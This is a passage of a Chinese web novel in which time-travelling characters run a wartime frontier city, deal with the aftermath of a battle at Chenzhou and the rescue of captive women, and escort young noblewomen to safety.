“是真的。”张夫人接了话茬,“其实,守备大人早就和泗阳关那边联系上了。” 她把北地局势讲了一遍:“……泗阳关那边来信,要晋州这边想办法毁掉北凉在涵谷关粮食,他们会配合,事后了也会安排接应。那封来信,我们老爷也见过。守备大人担心走漏风声,离开的时候,挑了夜里动身。” “不知道你们有没有印象?就在这个月月中,咱们不是跟城外的北凉人打了一场吗?那场战就是为了掩护守备大人出城!” 张夫人话音刚落,孙夫人“哎呦”叫了一声,“我想起来了!那天我还奇怪来着,怎地晚上打起来?还慌得不行,以为北凉要大举进攻!原来是为了掩护守备大人出城啊!” 其他女眷们也都记起来了。那场战过去也就十来天而已。 即便她们大多数人对战争不了解,也觉得关正这一趟困难重重,以为关正只是单纯的战死。 张夫人凉凉笑了声:“什么里应外合,什么事后有人接应,统统都没有!守备大人被人坑了。” 她又把商泽带回来消息讲了一遍,在座的女眷们个个脸色都不好了。 “我家那个竟然什么都没说!”黄夫人气得呼吸都不顺畅了。 “那,那守备大人遇害的事情为何今日才说?关夫人昨日也在这里,她什么都没说,难道,她也不知道吗?” 张夫人叹了口气说:“这件事情干系太大。你们想一想,要是城里的人知道守备大人没了……” 女眷们一下子明白了。 “我也是昨日才知道的。” “守备大人出事后,袁大人便决定尽快拿下郴州!出现了粮草被烧的事情,北凉人岂会容忍我们晋州继续存在下去?情况紧急,袁大人也是临时决定,知道这些事情的人不多。” 黄夫人想到近来的局势,可谓瞬息万变。晋州守军出发前往郴州之前,黄峥都来不及回府里一趟,派了随从回来收拾了行囊后就走了。她心里还郁闷呢。 原来局势这么严峻了! “泗阳关这是要绝了我们晋州的生路!言而无信,卑鄙无耻!把我们晋州放在火上烤!” 黄夫人与庄静关系一向很好,黄峥也是关正一手提起来的。得知前因后果,黄夫人气得大骂起来。 其他人也都愤慨不已,这几个月来,困守晋州,大家都不容易。好不容易与外面联系上,以为要脱困了,却被人一把推下悬崖。这种事情换谁,心里都不会好受。 支撑着晋州的守备死了,要不了多久,北凉大军就要来了,晋州不过一座小城,怎么可能抵得住? 幸亏有袁大人在! 每个人心里既愤怒又觉得幸运。袁大人拿下了郴州,他们有了喘息之机。等郴州稳定下来后,他们可以搬到郴州去!郴州城墙巍峨坚固,一定能挡住北凉的攻击。 袁大人用兵如神,不到三日就拿下了郴州。跟着他一定会没事! 谢云溪课间休息,来到了女眷们说话的小间,立刻感受到不一样的目光。 孙夫人殷勤过来扶着她坐下,关切询问:“累不累?喝口茶吧!” 谢云溪不明所以。昨日孙小姐不适晕倒,孙夫人脸色不渝,离开的时候很是敷衍。 今天,她们能来,她已经觉得很意外了。 不过,也不难想。毕竟庄静和张夫人都在这里帮忙。 这两个人,一个晋州守备夫人,一个是孙大人的顶头上司。但凡有点追求的夫人太太都会积极响应这两位号召的活动。 但孙夫人昨日对她可没有对庄静和张时文的夫人那么好。 现在,这又是唱哪出? 谢云溪接过茶后,看了看张夫人和黄夫人。 张夫人倒是面色如常,黄夫人就不对劲了,一副愤慨不已又强行压制的样子。 再看其他人,看向她的目光分明有些小心翼翼的讨好。 “怎么啦?”谢云溪笑着问。 张夫人托了谢云溪的手说:“你下午除了讲学外,还有没有其他事儿?” 谢云溪摇头。 “我们一起去关府看看吧,守备大人出事了,关夫人不知道有多难过。” 谢云溪立刻明白了。关正的事情爆出来了。 难怪庄静和关景钰今天没来了。 想想也是到了时候,郴州已经拿下了,关正的事情可以对外公布了。这件事情虽然对晋州民众有些冲击,但郴州大胜,人们又有了新的指望。 “好!”谢云溪答应了。她相信张夫人肯定早就得到消息,只是一直没说。 当然,她也一样。大家彼此彼此,就不能拆台。 “我同你们一起去!”孙夫人立马说。 其他人也纷纷附和。 谢云溪看了看这些人:“要不,今日下午的学习暂停半日?大家一起去关府,看看有没有能帮得上忙的地方。” 夫人们同意了,很快学员们也知道了,七嘴八舌说了起来,关正出事的原因她们也知道了。 从医学馆出来,看到街上大声愤慨说话的人们,谢云溪这才觉得有点不对劲。这件事情发酵的很快,一看就知道背后有人推波助澜。 她说不好这是好事还是坏事。 晋州民众对关正的死义愤填膺,把袁博文推到了一个新的高度,都在说跟着袁大人才能活下去。 但捧得越高,摔下来也越疼。别人不知道袁博文的打算,但她知道。 他之所以着急拿下郴州,目的其实是预备了形势不好时开溜。 这样的目的可配不上晋州民众这么高的赞誉。 一旦拆穿…… 谢云溪摇了摇头。 那时候,他们应该离开了北地。好与坏,都不相干了。 但想到在晋州的日子,以及一张张熟悉的面孔,谢云溪心里堵了起来,分外难受。 不过,现在空前的凝聚力对接下来硬仗太有利了。 回府里,谢云溪还在想这件事情,但袁博文远在郴州,她没法把这件事情告诉他。 虽然码头那边还有车,她也会开,但她现在大着肚子。 这里会开车的人除了他们夫妻,剩下的就是袁博文教出来的那些新兵,他们大多都去郴州,剩下的也个个都都有大用处。她不能为了一点小事让人家跑一趟郴州。 况且,现在也还不到离开的时候。 谢云溪想了又想,只得把这件事情先按了下来。 下午,张夫人和孙夫人过来了。谢云溪跟着她们一起去了关府。 袁博文这天也忙得跟陀螺似。昨日半夜里,张时文和江虎就来到了郴州,也没有休息,三人连夜商量着接下来怎么做。 郴州,他们都熟悉,但是现在的郴州城又跟过去的不一样,城里的人几乎换了一大半。 人员性质的多样性也意味着管理的难度很大。 江虎建议跟晋州一样,所有人员排查清楚后,登名造册严管,这样打起来后,也方便管理调动。 袁博文点头:“你带了多少人过来?” 江虎呵呵笑了笑。他带过来的人不多,只有十来个,但都是自己的心腹。 晋州那边的兵不多,他不敢大动城防力量。 袁博文想了想:“我再给你一百人,你从明天开始清点排查郴州全城,三日,必须要全部完成!” 江虎叫苦:“三日不行!郴州的情况跟晋州不一样。” 他在晋州生,晋州长,对晋州的情况了如指掌。即便后来晋州涌进了不少流民,他也能很快摸清楚情况。 袁博文还没说话,张时文道:“三日已经算多了。” 江虎诧异看向张时文。袁博文蹙着眉头。 “从泗阳关到郴州,也就八九天路程。”张时文说。 江虎突然明白过来。他们接到关正出事的消息已经有四天了!按照时间来算,萧南召的人已经在来这里的路上了! 江虎的脸色变了,点了点头:“行!就三天!我保证完成任务!” 袁博文想了想,“我再给你几条qiang!要是遇到麻烦,你可以便宜行事!” 江虎的眼睛一下子亮了:“是那种挂在脖子上的,突突突的……东西吗?” 袁博文无语看着江虎,著名的七九式自动步/qiang被他形容得像个女人。 “不是那种!但差不多。” 差不多那也是好东西! 江虎还没有看到qiang,已经喜不自胜了,连连点头。 袁博文不想看到江虎这副贱兮兮的样子了。 提到qiang,什么都忘了。 清点排查郴州全城可不是一件简单的事情,郴州全胜时期人口二三十万,现在虽然少了许多人,但也不是一个小数。 并且还有北凉人隐藏在其中。论单兵作战的实力,两个大顺士兵都不一定能打得过一个北凉人。 给qiang的目的就是为了多一份保障。 袁博文不再理江虎了,望向张时文:“张大人进城的时候,注意到郴州城墙了吗?” “我看得并不真切,城墙像是塌了几处……” 张时文等人进城的时候,已经后半夜了。虽然车灯很亮,但能看清楚的范围并不大。 袁博文点头:“昨日一战,郴州城墙受损严重,咱们得在北凉大军来之前尽快修复。这件事情就麻烦张大人。” 张时文也跟着点了点头。 拿下郴州的目的不就是想仰仗郴州城墙抵住北凉大军吗? 修复城墙而已,算不得大事。 袁博文有点不敢看张时文,他觉得天亮后,张时文看到郴州城墙的真面目后,肯定不是现在的样子。 “还有城内事务,也请张大人一并担了。” 张时文接到信的时候,就知道要来干什么。 “袁大人放心。” 看到张时文这么痛快,袁博文的心情也好了许多。也给张时文派了些人手压场。 三个人正在说话,袁博文的亲卫进来了。长枪营副将霍小北遇到了麻烦,请袁大人过去一趟。 袁博文看了看时间,一会儿天要亮了。这晚又没法合眼了。 张时文和江虎相互看了一眼,提出告辞离开了。 袁博文站起来,边走边问:“到底什么事?” “霍副将说,您去了就知道了。” 袁博文笑了一声。霍小北算是他一手带出来的新兵里面爬得最快的一个。不过十八九岁,就已经是长枪营的副将了。 他很看好他。 来到郴州南城,袁博文就看到了正在打转的霍小北。 他下了马,看了看周围。 这里原本是北凉士兵的驻扎地,被炮/弹洗地后,一片狼藉。 “什么事儿?”袁博文问。 霍小北小声把事情经过讲了一遍。 原来,他在带领人手清理这边的时候,发现了一座营帐,里面有很多女人。 袁博文诧异看向霍小北。 霍小北说:“……我问过了,她们都是大顺女子,是被北凉人强虏到这里的,北凉人没把她们当人看……这些人衣裳不整,我怕出事,就让人去找您了。” 袁博文心绪起伏不定,拍了拍霍小北的肩膀:“你做的很好!” 霍小北立刻咧嘴笑了。 袁博文的心情却很糟糕,有一种想要砍/人的冲动。 不用问,这些女人这些天一定是吃尽了苦头。 “人在哪里?” 霍小北指着说:“就在那边。” 袁博文看了看。那边大概是靠墙的缘故,有好几座营帐残存。 其中一座营帐门口站了两名士兵。 袁博文的心情略好了些。 霍小北这么安排,避免了这些女人进一步受到伤害。 确实做的不错。 这孩子是个能成事儿的。十八九岁,正是热血冲动年纪,看到这种事情,他却冷静处理。这很难得。 杀人/掳/掠,从来都是连在一起的。战场胜利之后,心情会很不一样,看到一些场景,很难控制住。 但一些事情开了先河之后,就会有人有样学样。这样的事情,在战场上从来都不新鲜。 袁博文过去后,掀开营帐门帘,往里面看了一眼。 人确实不少,各个衣衫褴褛,面容憔悴。挤成了一堆,瑟瑟发抖。 他放下了帘子。一时间也觉得难办。他带过来的都是男的。让军中的男人来处理这些女人的事……结果不敢相信! 郴州城里,他是有个把熟人。但时过境迁,他们是否还活着都是未知数。 第85章 第85章 惊弓之鸟 纠结了一会, 袁博文把霍小北招了过来:“你先把人看管好,天亮后,我会派人过来处理。” 霍小北应下了。 袁博文想了想, 还是不放心, 又交待:“那里面……谁也不准进去!要是有人不听, 你只管杀。” 霍小北心中一凛, 沉声应下。 袁博文转身走了,路上打发了亲卫去打听自己那两个熟人的消息。 他们一个姓宋, 叫宋时晏,是与他同期的举子。 另一个叫姚青山,是个商人,走南闯北多年, 去了不少地方。见识颇多。 亲卫带上人手去忙了。 袁博文找到张时文,把这件事情跟他说了。 张时文沉思片刻。 “按说, 理应将人遣送回家,但这些女子被虏,正是郴州遭遇屠城的时候,也不知道她们的家人是否尚在人世……” 袁博文撩了张时文一眼。 把人送回家, 这可不是个明智的选择。 眼下的世道对女人十分严格,贞节牌坊是压在她们身上的一座难以逾越的大山。现代的女人遭遇了这种事情,都要担心人言可畏。 把这些被北凉人糟蹋过的女人送回家去,和让她们去死,有什么区别? 不过, 袁博文什么都没说。 张时文叹了口气, “眼下事情太多,府衙这边属实抽不出人手了。要不,大人问问江将军?许是他能抽些人手出来, 替这些女子寻找家人。” 袁博文问:“除了把她们送回去,还有没有其他办法安置?” 张时文失笑:“女子自古都是在家从父,出嫁从夫,不送她们回去,难道要送到城东的尼姑庵吗?也不知道城东的那家尼姑庵还在不在?” 袁博文听不下去了,站起来:“你且忙着,我再想想,还有没有其他办法。” 狗屁不通的在家从父,出嫁从夫! 他发现这件事情比想象中的还要棘手。张时文是他认识的人当中 ,比较开明的。但他都这么说了,其他人怎么想,可想而知。 尼姑庵能是什么好地方?那些女人正值最好年华,十五六七岁的最多,最大的,也不过二十出头,从此青灯古佛渡一生吗? 把人送回去,人言可畏,她们也无法好好活下去。 他母亲曾经跟他讲过一件抗战时期的事。他们家楼下住着的余叔,母亲在那个时期被鬼子抓住,给侮辱了,想尽办法逃了回来。但不知道是谁把这件事情透露了出去,左邻右舍都知道了,指指点点,闲话不断,家里人也看不起。 终于有一天,余叔的母亲受不了,用一根麻绳结束了生命,留下了还在襁褓的余叔。 那个时候的社会风气可比这里好多了,那位母亲都没能活下来,这里就更不用说了。 人们的观念陈腐老旧,将女人禁锢得死死的。这些不是一时半会就能扭转。 现在这里也许只有谢云溪和他的想法差不多。 想到妻子,袁博文舒了口气。 他想她了。 三天没见了,也不知道人现在怎么样?女儿那边又是什么情况? 原本,他们说好,等郴州稳定后,谢云溪再过来,但那些女人恐怕等不了那么长的时间。 总关在营帐里面,让人看守着,也不是个事。那些兵,可都是血气方刚的。 而营帐里的那些女人能北凉人看上,想来长得都不会差。 年轻人念头上来了,刀和qiang都未必能压得住。 现在让谢云溪过来,也不是不可以。府衙里面收拾收拾,也还能住人。 就是谢云溪的身体———她现在已经有六个多月的身孕了,让谁去接,得想清楚了。 新兵里面,开车最好的是黎大山。不过,黎大山昨天已经跑了两趟。疲劳驾驶,那可不行。 其次就是游八斤了。 袁博文想到这里,让人把黎大山和游八斤叫了过来。 黎大山和游八斤进来后,袁博文问游八斤:“你车开的怎么样了?” 游八斤笑了:“还行!除了黎队长,我比他们都快!” 袁博文板了脸,教训说:“你还在笑?开车是比谁快谁慢?以前我教的都忘记了?安全第一!” 游八斤立马端正了态度:“大人说的是!我谨记在心。我开车也很稳!您不信,可以问问刘武和齐大山,他们都坐过我的车。” 袁博文哼了一声,并没有把游八斤提及刘武和齐大山叫过来对峙。他看过游八斤开车,确实反应很快,操作熟稔。 “一会儿你回晋州一趟,把夫人接过来。” 游八斤应了一声是。 袁博文转过头,又对黎大山说:“你挑四个人,让他们跟着游八斤一起出发。路上一定要提高警惕!” 北地如今大半都在北凉人手中,虽然他在晋州和郴州附近布下不少哨岗,但并不是万无一失。 郴州的漏网之鱼就有不少。 黎大山和游八斤都应下了。一会后收拾妥当,要出发了。 袁博文拍了拍游八斤的肩膀,语重心长说:“夫人有孕在身,路上一定要小心!开车要稳!” “大人放心!” 袁博文不放心,但他实在抽不出时间。郴州如今跟一锅乱炖差不多,他得赶紧理顺了。 把信交给游八斤后,直到车看不见了,袁博文才回转。 游八斤等人到晋州时,已经是下午了。谢云溪不在府里,去了关府帮忙。 游八斤把车直接开到关府门口。 关府的大门口已经挂了挽联,灵堂也搭建了起来。许多人都过来祭奠了。 他们看到门口停着的卡车,纷纷回头,等游八斤等人提着枪下车时,他们更是目不转睛了。 郴州被被拿下的消息已经传开了。听说袁大人只用了不到一天的时间就赶到了郴州,连夜布置好了战场。 第二天一大早开打,把郴州城都轰/炸了。袁大人拿出的新武器属实厉害,北凉人对上了,压根就没反击之力,乖乖让出了郴州。 也有人说,并不是这样。拿下郴州并没有那么容易。但袁大人拿出的新武器确实厉害。 把晋州城外北凉人营地夷平的那种武器,在打郴州,也大显神威,郴州城门都被轰了个偌大的洞。 那东西叫炮/车! 还有一种叫qiang的武器,比连弓/弩还要厉害,弹指间便能发射数十发子/弹,又准又快,距离还远。 眼下,关府门口停着的应该就是那辆往返郴州只需两个时辰的铁车吧? 这些士兵肩膀上挽着的应该就是qiang吧? 原来,是长这样子。 关府的管事出来了,将白露和游八斤迎了进去。 关府里面人流如织。 白露找到谢云溪后,把袁博文的信交给她。 谢云溪看过后说:“好!你们稍候片刻,我收拾收拾,就跟你们走。” 庄静心里一跳,询问道:“云溪,他们是……” 谢云溪回答:“郴州那边有件事情比较棘手,我得赶紧过去一趟,他们是来接我的。” 她话音刚落,孙夫人突然冲了出来,抓住着谢云溪的胳膊,发着抖说:“袁夫人,你可不能走啊!你走了,我们怎么办?” 谢云溪懵了,不知道发生了什么。 庄静的脸色也白了几分,捏着帕子的手青筋毕露。好不容易才稳住了,说:“孙夫人,你这是干什么?” 孙夫人已经忘记了眼下的场合,只想着到北凉人马上要打过来了,晋州这边的兵偏又全部都被拉到郴州去了。袁大人也在郴州,现在又要把袁夫人也接过去,这是要放弃晋州啊! 晋州剩下的这些人,只怕是跟北凉人打个照面,就得丢盔弃甲,北凉人进了城,他们还有活路吗? 她失控了。紧紧抓着谢云溪:“北凉人马上要打过来了!袁大人又把晋州的兵全部拉走了!现在,你又要走!你们不管我们了吗?” 在场的人不少,听了这话,一下子炸开了锅。 “怎么回事?为什么孙夫人说北凉人要打过来?” “守备大人烧了北凉那么多粮草!北凉人岂会放过我们?” “可……可袁大人不是拿下郴州了吗?” “袁大人是拿下郴州了,但他不一定会保晋州!他来接走袁夫人,这是要放弃晋州了!” 纷杂的议论声让在场所有人的脸色都变了。连素来沉稳的庄老夫人也左顾右盼起来。 谢云溪也没有想到,事态会这样发展。她定了定神。 “谁说袁大人不管晋州了?晋州的兵虽然去了郴州,但他们的家人都在这里!我袁府除了袁大人,其他人也全部都在晋州。我此番过去,只是临时有事,处理好后,一定会再回来!” 庄静的心里虽然也慌得不行,但也知道此刻乱不得。她站出来了。 “是啊!你们这是干什么?袁大人为了晋州殚精竭虑,来接袁夫人,也是因为有棘手的事情要她过去处理。可你们却在这里背后说道!属实叫人寒心!” 谢云溪暗暗称赞了庄静一番。不愧是晋州守备夫人,一番话便说的许多人低下了头。 “庄夫人的话说到我心坎上了!”张夫人也出声了,“你们这样背后说人,不仅仅会寒了袁大人的心,也会寒了晋州数千将士的心!他们在战场上舍身忘死,背后却被人这么说道!” “就是!张大人也去了郴州,但你们都看到了,张夫人和张二小姐都在这里。难道张大人也不管他们的死活了吗?” 黄夫人也说话了。 众人面面相觑,先前的慌乱此刻平息了不少。他们当中有不少是军中将士的家眷,此刻心里虽然没底,却背脊挺直,傲然而立。 “孙夫人,你不清楚情况,可不能乱说。” “就是!” 孙夫人看了看众人,大家看向她的目光分明有些不耻。 堂堂主薄夫人,却在这里胡言乱语,蛊惑人心。 孙夫人心里有些羞愧,她方才确实乱了阵脚,一看到袁夫人要走就慌了神。 但若是真的呢? 袁夫人一走了之,她们全家都活不成了! 不像这些当兵的,家中至少还有人在外面。 想到这里,孙夫人心里一横,一把将自己的女儿孙舒兰拉了过来。 “袁夫人,刚才是我不对,一想到北凉人要来,就乱了阵脚。你和袁大人为了晋州付出良多,我实在不该这样待你们!” “我女儿舒兰跟着夫人学了几天医,对夫人很是敬佩。夫人这次去郴州,也带上她吧,让她也长长见识。” 谢云溪愣住了。 庄静的手上,青筋更明显了。纠结一会,她下了决定,笑了一声:“误会解除了就好!咱们同心协力,一定会渡过难关。” 众人纷纷附和。 庄静又对谢云溪说:“你的医学馆虽然才开几天,但她们几个受益匪浅,你这一走,她们的学习就不得不停下来了。依我看,你干脆把她们一起带走算了,免得耽误了学习。反正过几天就回来了,到时候把你再把她们一起带回来了!” 孙夫人眼睛一亮,连连点头。 谢云溪笑了笑。庄静都发话了,这个面子,她还是要给的。 而且,她也看出来了,孙夫人刚才那番话已经让在场的人乱了心。她要是断然拒绝,一个人都不带走,落在这些人的眼里,那就是要跑路,做实袁博文不管晋州的猜想。 这对局势的影响很大。 “好!”谢云溪点头了,笑着对一众女眷说,“要一起去的,还不赶紧去收拾东西?” 好些人忍不住喜形于色。 孙夫人低声说了句:“多想袁夫人!”拉着女儿孙舒兰回家收拾行李。 谢云溪也要回府收拾,便跟众人告辞离开了。 庄静叫来管事,让他招待来客,自己则带着女儿关景钰回房收拾。 关景钰挨着庄静说话:“娘,我不想去郴州。” “瞎说!”庄静严厉说道。 关景钰抿着嘴,眼圈红了。庄静的语气不由得柔和下来。 “傻丫头,这个机会多少人想要,还要不到呢!你没看到朱夫人巴巴的眼神吗?” 可惜,朱夫人的两个孩子还小,女儿更是尚在襁褓中。 “那就让景和去,我陪着娘亲。” 自打知道关正已死的事情后,关景钰像是突然长大了。今天发生的事情,她也看得分明。 晋州城并不是表面看起来的平静,大家像惊弓之鸟,把希望全部寄托在袁叔叔身上,一点风吹草动,就怕得不行。 就连她的母亲也一样。 庄静心里发酸,她倒是想将两个孩子全都送出去,可跟着谢云溪学医只有女儿。 那么多双眼睛盯着,她想徇私都不能。关正是晋州守备,虽然人已经不在了,但他的儿子,也不能是逃兵。 第86章 第86章 搜刮 “跟着袁夫人学医的又不是你弟弟。他去了, 别人会怎么想?” 关景钰抿着唇,突然说:“袁叔叔不会放弃晋州的。” 庄静顿了顿。她也相信袁博文夫妇的为人。 可万一呢? 关正没了,两个孩子她总得要保一个。 庄静拉过女儿:“你听娘说, 这次你跟着袁夫人去郴州, 一定懂事!袁夫人身子不便, 你在她身边, 务必要处处小心,仔细照料, 把她当成自己的至亲长辈一样看待!” 如果晋州真的保不住,女儿能仰仗的只有袁博文夫妇了。以心换心,他们夫妇也都不是薄情寡义的人,想必定会好好照顾女儿。 关景钰点了点头。 庄静摸了摸女儿的脸, 想及这或者是她们娘们最后一面,一时间心如刀绞。 但时间耽误不得, 不能让袁夫人等人,久了怕是再生意外。她又打起了精神。 收拾好行李后,庄静带着关景钰来到袁府。看到了停在门口的车。 依旧是数个轮子,但上面却不再是杂布棚子, 而是一半被铁皮包裹着,另一半则是一圈透明的罩子,可以看到已经有几个人在车里面了。 庄静和关景钰都没见到面包车,一时间都傻了眼。 突然,铁皮被拉开了一个洞, 谢云溪探出头, 笑吟吟道:“快上车。” 庄静立刻明白了,那应该是门。原来铁车多种多样,有的车门在后面, 有的门在旁边。 看到车里坐着的孙小姐和许小姐,庄静轻轻推了推女儿:“快去!” 关景钰上了车,里面的一切都让觉得新奇,看到孙小姐和许小姐端正坐在位置,她便在谢云溪旁边的位置坐了下来。 “你放心吧,我会看好她们的!”谢云溪笑眯眯对庄静说。 庄静努力控制不让眼泪流下来,想笑却笑不出来。跟谢云溪客气了几句,又看向女儿:“要听话……好好学习!” 关景钰鼻子一酸,眼泪差点落了。 张夫人和张二小姐也来了,张二小姐上了车。大人们说起话来。车上的小姐们大眼瞪小眼,谁都没有开口说话。每个人都被叮嘱了无数遍,此刻心里百味杂生。 人到齐后,车开动了,又平又稳,跟坐在马车完全不一样,竟然一点颠簸的感觉都没有。 透明罩子外面景致如流水般过去,小姐们新奇极了,离开的悲伤也很快所剩无几。 出了城,又看到一望无际的荒凉,几个人心里又沉甸甸的。她们已经有好几月没出城了。 谢云溪笑着问:“怎么样?你们都不晕车吧?” 晕车? 小姐们面面相觑,关景钰挽上谢云溪,“我们不晕车,谢姨,你怎么样?” 她虽然不知道晕车是什么,但猜到应该是坐车时会出现的一种不好感觉。 谢云溪笑着回答:“我还好。你们要是不舒服,我这儿有蜜饯。” 她既然会开车,当然不会晕车。这里的道路虽然不如现代的柏油马路和水泥路,但也还算平坦。 这是一条官道,她估计铺路时,路基应该经过了某些特殊处理,与路两边有较大区别。 车辆行驶在上面,速度不快不慢,约莫每小时有六七十公里的样子。 关景钰等人都是十五六岁的年纪,叽叽喳喳说起话来,很快就忘记了上车时的悲伤难过。 但这份兴奋也没维持多久,她们看到了倒在路旁边的死人,有秃鹫在琢食。 孙小姐一阵发呕,差点吐了。谢云溪连忙给她塞了一颗蜜饯。孙小姐虽然没吐出来,但脸色一片苍白。 谢云溪说:“等过了前面的桥,我们停车休息一会。” 孙小姐连忙摇头,小声说:“我没事儿,不用休息。” 出门的时候,她母亲千叮嘱万叮嘱,让她一定要收起脾气,千万不能惹人生厌。他们家既比不得关家和张家势大,也比不上许家有钱,要小心处事,方才能得安稳。 袁夫人是个心善,端看她在疫病时候的作为就知道,只有她听话懂事,袁夫人一定不会不管她。跟着袁夫人,才能活下去。 谢云溪其实并不想下车,这里并不安全。如今的北地大半沦陷,城池之外,不仅仅会遇到北凉人,也有可能遇到打家劫舍的土匪。 在路上耽误的时间越久,也越危险。 虽然游八斤等人都带了qiang,贺天凤也有功夫在身。但能不出事,还是别出事的好。在车上也比在外面要安全许多。 “真的没事?” 孙小姐小小点了下头。 谢云溪说:“要是有不适,一定要跟我说。” 两个多小时的路程,并不是短距离,这些千金小姐们肯定会看到更多的惨状。如今的北地,民不聊生是常态。她们除了适应,别无他法。 到郴州时,已经是下午了,远远看到郴州城墙,小姑娘们也兴奋起来了,这一路上她们受到了不小的冲击。 袁博文早就在城门口等着了,看到车开过来,连忙过去。车停下后,他就拉开了车门,一上了车,就坐到谢云溪旁边。 “一路上还顺利吧?” “还好。”谢云溪看到郴州城墙,心里惊讶。原本巍峨坚固的城墙竟被炸得七零八落,到处都是缺口和坍塌。民众们正在忙碌修复。 她看了看袁博文。 接到了妻子,袁博文的心情大不一样了。笑着说:“张大人正在那边忙,你要不要过去打声招呼?” 谢云溪没有看到张时文,在那边忙碌的人不少。看到郴州城墙的现状,她估计张时文肯定不想见到她。 这次,张二小姐也跟着过来,以后她跟张大人有的是见面的机会。 “算了吧,我过来住哪里?你都安排好了吗?” “都安排好了,咱们住在府衙。我知道你爱干净,我让人把那里的地都拖了好几遍!窗户也都擦过了。” “住的下吗?”谢云溪说着,看了看后面。 袁博文这才发现妻子身后除了府里的丫鬟,还跟着五六个尾巴。他心里诧异,低声问:“你怎么把她们带过来了?” 这几个丫头当中,他就认识关景钰。 谢云溪回答:“一会儿跟你说。” 车开进了郴州城里,路不好走了,车子颠簸了起来。袁博文扶着谢云溪下了车。 一边走,谢云溪一边看,问道:“人安置在哪里了?” 袁博文知道她问的是那些被北凉人糟蹋过的女人:“还在城南,我找到了宋时晏的母亲,让她给那些女人张罗了些吃喝。军中都是些男人,大老粗,我怕出事,没敢让他们接触。” 谢云溪也认识宋时晏:“宋家还住在枫叶巷吗?他们都还好吧?” 袁博文叹了口气:“时晏兄已经没了,家里八口人只剩了宋老夫人和时晏兄的小女儿。” 谢云溪不敢相信听到的事情。 袁博文考举的时候,宋家还算殷实,住在枫叶巷一座二进的院子里,家里父母身体也算康健,宋时晏有两子一女,宋夫人贤淑能干。 没想到,仅时隔一年,他家里竟然只剩下一老一少吗? 但郴州落到北凉人手上已经有四个多月了,刚攻陷时还屠过城,不知道杀了多少人。宋家情况大概是郴州百姓的一个缩影。 谢云溪心里难受起来。 “她们也没住在枫叶巷了,找到她们的时候,她们和另外几家人一起住在城东麻雀巷一个小院里。屋就那么点大,转身都难。” 麻雀巷,谢云溪也有印象,以前住在那里的人很杂,三教九流都有。通常是几家人住在一个大杂院。 一个年迈的老太太带着一个六七岁的小姑娘,可想而知吃了多少苦。 “我现在把她们接到府衙在住,你一会儿就能见到了。” 袁博文说着,又回头看了看后面几个正在东张西望的小姑娘。 “她们怎么办?” 谢云溪问:“府衙能住得下吗?” “能啊!不过,地方我没收拾。”袁博文陪着笑。 谢云溪点点头:“有住的地方就行,一会儿让她们自己收拾。” 小姑娘们是她们的母亲送出去逃命的,既然如此,不吃点苦头,怎么能行? “行,你说了算。”袁博文压低了声音,“淼淼那边,怎么样?” 谢云溪顿了顿,“你要的东西不好买。” 袁博文立刻知道谢云溪指的是什么了。买船是为了开溜,这事儿不好大白天说。他心里虽然猫抓一样难受,还是忍住了没问。 到了府衙,袁博文引着众人来到后院一处清净的小院里。谢云溪知道这里就是自己要住的地方了。 环境清幽雅致,冬天里,院子的绿树不少。正房两边是偏房,还有两个耳房。 房间也不少。 谢云溪很满意。 “要不,你先歇会?一会儿我再带你过去看。后面还有几个空院子,我让谷雨带景钰她们去挑。” “你去忙吧,这些我来安排。” 袁博文确实很忙:“那行,你要是有事,就打发谷雨来找我。” 他说完话就走了。谢云溪动了动脖子,坐了两个多小时的车,她浑身骨头像是都要散架了。 月份大了后,她的身体也比不上以前了,容易疲劳,睡得也多。 喝了杯热水后,谢云溪把谷雨叫了进来,问了问府衙的情况。 谷雨笑着说:“……这里不比咱们在晋州的院子小,后面这样大的院落还有好几个!不过,住进来的人少,只有老爷,我,宋婆婆,小豆芽和厨房上的几个人。连虎他们都在外院住。” 连虎是袁博文的亲卫队长,也是从新兵里面挑出来的,跟着袁博文也有一段时间了。 谢云溪点了点头,对念荟:“你跟谷雨一起带关小姐她们去看看,挑个院子,把她们安顿好。” 念荟应下了,带着关景钰等人出去了。 谢云溪忍不住打了一个哈欠。一觉睡醒,发现竟是到了傍晚。 她连忙把念荟叫进来。 “怎么不叫醒我?老爷是不是回来过了?” 袁博文的确是中间又回来了一趟,见谢云溪正睡得香,便没叫醒了,又去忙了。 “是老爷不让叫的。”念荟笑着说。 谢云溪有些焦虑,连忙收拾。天就要黑了,城南那边到底是什么情况,她知道的很少。 只知道那些女孩们被虏过来后,受尽摧残折磨。其他情况一概不知。 “关小姐她们都安置好了吗?” “已经安置好了,就在隔壁芷兰院。” “那边院子里的房间够吗?都打扫干净了吗?” “够的。关小姐她们只有六个人,芷兰院的房间有八间,还有一个小厨房呢。” “打扫是我们和关小姐她们一起做的……” 谢云溪点了点头,突然听到外面砰砰砰连响几声,像是在放鞭炮,她愣了一下,过了一会才反应过来,残存的迷糊也一下子全没了。 眼下的郴州,非年非节,怎么可能会有人放鞭炮?她听到的分明是枪声! 念荟也听到了,脸色有些不好:“老爷回来说,如今的郴州还没有完全清理干净,让我们若是没事,就不要离开府衙了。非要出去,一定要跟连护卫说一声,让他派人跟着。” 谢云溪点了点头。 外面还在打,那就意味着郴州城里还有北凉人。 想来也是,北凉人在郴州驻扎了四个多月,不可能一场战,只几天就把人全灭了。有漏网之鱼很正常。等城里全面清点排查之后,应该会好很多。 “跟关小姐她们都交待过了吗?” “都说了。” 外面不安全,天又要黑了。谢云溪打消了出门的想法,让念荟把关景钰等人叫过来一起吃了饭。天黑下后,她就拿出了镜子。 轻敲三下,袁淼就出现在镜子里了。 “妈,你们到了郴州吗?” 自打知道谢云溪要去郴州,袁淼这天提心吊胆。 “到了。我现在就在郴州府衙的后院里面。”谢云溪把房间的布置照给袁淼看。 袁淼松了一口气:“爸爸呢?” 她已经有好几天没看到袁博文了。 “他在忙。郴州比晋州大多了,他有的忙。” 袁淼早就知道郴州号称北地第一重镇,那自然是比晋州大多了。 “你们一路上还顺利吧?外面情况怎么样?” 袁淼没有经历过乱世,有些好奇。 谢云溪轻叹了口气,把沿途所见告诉了袁淼。 袁淼听得心惊肉跳。书上看到乱世惨状,父母正在经历。她很庆幸在此之前,他们联系上了。否则光是从晋州到郴州,父母就得吃尽苦头。 光靠两条腿,从晋州走到郴州,至少三四天。有车就不一样了,三四个小时就能到了。 即便是遇到了麻烦,车速提起来,想追都追不上。 “郴州呢?郴州什么情况?” 袁淼还记得,郴州沦陷之后,北凉人屠城的事情。 谢云溪摇头,把进城时看到的景象告诉了袁淼,至于城里还有北凉人的事情则没有说。 